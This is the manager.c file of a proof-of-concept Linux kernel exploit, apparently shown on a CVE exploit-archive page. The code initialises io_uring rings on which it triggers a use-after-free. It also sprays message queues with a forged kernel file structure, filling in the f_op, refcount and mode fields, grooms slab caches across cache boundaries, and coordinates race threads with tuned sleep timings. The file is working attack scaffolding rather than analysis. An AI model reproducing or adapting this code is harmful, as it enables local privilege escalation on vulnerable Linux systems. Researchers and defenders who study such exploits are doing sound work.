4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / manager.c C
#include "manager.h"
#include <sys/resource.h>
/*
 *
 * Internal functions
 *
 * */
static inline void cls()
{
    printf("\e[1;1H\e[2J");
}

static inline err_t init_thread_sync(struct manager *mgr)
{
    pthread_cond_init(&mgr->uaf_cond, NULL);
    pthread_mutex_init(&mgr->uaf_mutex, NULL);
    mgr->threads_go = 0;

    if(mgr->sleep_before_tee > 13000)
        mgr->sleep_before_tee = 10000;
    else
        mgr->sleep_before_tee += 40;

    return SUCC;
}

static inline err_t deinit_thread_sync(struct manager *mgr)
{
    pthread_cond_destroy(&mgr->uaf_cond);
    pthread_mutex_destroy(&mgr->uaf_mutex);
    mgr->threads_go = 0;
    return SUCC;
}

static inline err_t init_msg_queue(struct manager *mgr)
{
    IF_ERR_RET(pre_spray_msg(mgr->msq_ids, TOTAL_MSGS))
    return SUCC;
}

static inline void set_file_spray_data(struct manager* mgr)
{
    /* Construct a fuzzy file object */
#define F_OP_OFF (88)
#define REF_OFF (128)
#define F_MODE_OFF (140)
#define MSGSEG_OFF (4000)

    memset((char *)mgr->spray, 0, MSG_SIZE);

    char *file_contents = (char *) mgr->spray + MSGSEG_OFF;
    uint8_t *f_op = file_contents + F_OP_OFF;
    uint8_t *refcount = file_contents + REF_OFF;
    uint8_t *f_mode = file_contents + F_MODE_OFF;

    *(uint64_t *) f_op = NULL_MEM;
    *(uint64_t *) refcount = 1;
    *(uint64_t *) f_mode = 0x4000;
}

static inline void set_err_state(struct manager* mgr)
{
    /* ERR == -1 signifies that a field is in an uninitialised state.
     * It's particularly useful for handling looped close/open.
     * Since we can break out of the loop when we see ERR. */
    memset(mgr->msq_ids, ERR, sizeof(mgr->msq_ids));
    memset(mgr->pipes_in, ERR, sizeof(mgr->pipes_in));
    memset(mgr->pipes_out, ERR, sizeof(mgr->pipes_in));
}

static int32_t open_file()
{
#define TEMP_PATH ("/tmp/fileXXXXXX")
    char template[] = TEMP_PATH;
    int fd = mkstemp(template);
    IF_ERR(fd) {
        perror("open_file:mkstemp");
        return ERR;
    }
    unlink(template);

    return fd;
}

static void remove_file(int32_t fd)
{
    close(fd);
}

static void deinit_manager(struct manager *mgr)
{
    deinit_thread_sync(mgr);
    io_uring_queue_exit(&mgr->tee_ring);
    io_uring_queue_exit(&mgr->uaf_ring);

    deinit_cross_cache(mgr->cc);
}

err_t init_manager(struct manager *mgr, uint8_t new)
{
    /* If this the first iteration of the race loop
     * then we'll want to create the msg queues.
     * Otherwise, avoid wasting space. */
    if (new) {
        /* Initialise all data in mgr to ERR. */
        set_err_state(mgr);
        /* Set the initial sleep. */
        mgr->sleep_before_tee = 10600;
        /* Setup the msg queue, only once per startup. */
        IF_ERR(init_msg_queue(mgr)) {
            goto err_msg_queue;
        }
    }
    /* Set the data which we will overwrite a file. */
    set_file_spray_data(mgr);

    /* Init the two rings which we trigger the UAF on. */
    IF_ERR(init_ring(&mgr->uaf_ring))
        goto err_uaf_ring;
    IF_ERR(init_ring(&mgr->tee_ring))
        goto err_tee_ring;
    /* Init the cond. variable and mutex for the threads. */
    IF_ERR(init_thread_sync(mgr))
        goto err_thread;

    /* Init the cross cache management structure and store. */
    mgr->cc = init_cross_cache(open_file,
                               remove_file,
                               OBJS_PER_SLAB,
                               CPU_PARTIAL,
                               OBJS_PER_PAGE);
    IF_ERR_PTR(mgr->cc)
        goto err_cc;

    return SUCC;

err_cc:
err_thread:
    io_uring_queue_exit(&mgr->tee_ring);
err_tee_ring:
    io_uring_queue_exit(&mgr->uaf_ring);
err_uaf_ring:
err_msg_queue:
    return ERR;
}

/*
 *
 * API functions
 *
 * */
err_t open_pipes(struct manager *mgr, int in)
{
    for (int i = 0; i < N_PIPES; i++) {
        int p_fd[2] = {0};
        IF_ERR(pipe(p_fd)) {
            perror("open_pipes:pipe");
            return ERR;
        }
        if (in) {
            mgr->pipes_in[i][RD] = p_fd[RD];
            mgr->pipes_in[i][WR] = p_fd[WR];
        } else {
            mgr->pipes_out[i][RD] = p_fd[RD];
            mgr->pipes_out[i][WR] = p_fd[WR];
        }
    }
    return SUCC;
}

err_t start_threads(struct manager *mgr, pthread_t *ths,
                         void *fptr, uint32_t num)
{
    for (int i = 0; i < num; i++) {
        if (pthread_create(&ths[i], NULL, fptr, mgr))
            return ERR;
    }
    return SUCC;
}

err_t wait_threads(pthread_t *ths, uint32_t num)
{
    for (int i = 0; i < num; i++) {
        pthread_join(ths[i], NULL);
    }
    return SUCC;
}

err_t wait_condition(pthread_mutex_t *mutex,
                     pthread_cond_t *cond, bool *boolean)
{
    pthread_mutex_lock(mutex);
    while (*boolean == 0) {
        pthread_cond_wait(cond, mutex);
    }
    pthread_mutex_unlock(mutex);

    return SUCC;
}

err_t set_condition(pthread_mutex_t *mutex,
                    pthread_cond_t *cond, bool *boolean)
{
    pthread_mutex_lock(mutex);
        *boolean = 1;
    pthread_cond_broadcast(cond);
    pthread_mutex_unlock(mutex);

    return SUCC;
}

struct manager* new_session()
{
    struct manager *mgr = calloc(1, sizeof(struct manager));
    IF_ERR_PTR(mgr) {
        perror("new_session:calloc");
        return ERR_PTR;
    }
#define REFRESH (0)
#define NEW (1)
    IF_ERR(init_manager(mgr, NEW))
        goto err_mgr;
    IF_ERR(new_tls_session())
        goto err_mgr;

    return mgr;

err_mgr:
    deinit_manager(mgr);
    free(mgr);
    return ERR_PTR;
}

err_t refresh_session(struct manager *mgr)
{
    //printf("\e[1;1H\e[2J");

    deinit_manager(mgr);
    IF_ERR_RET(init_manager(mgr, REFRESH))
    close_range(2, ~0, 0);
    return SUCC;
}

void end_session(struct manager *mgr)
{
    end_tls_session();
    deinit_manager(mgr);
    free(mgr);
}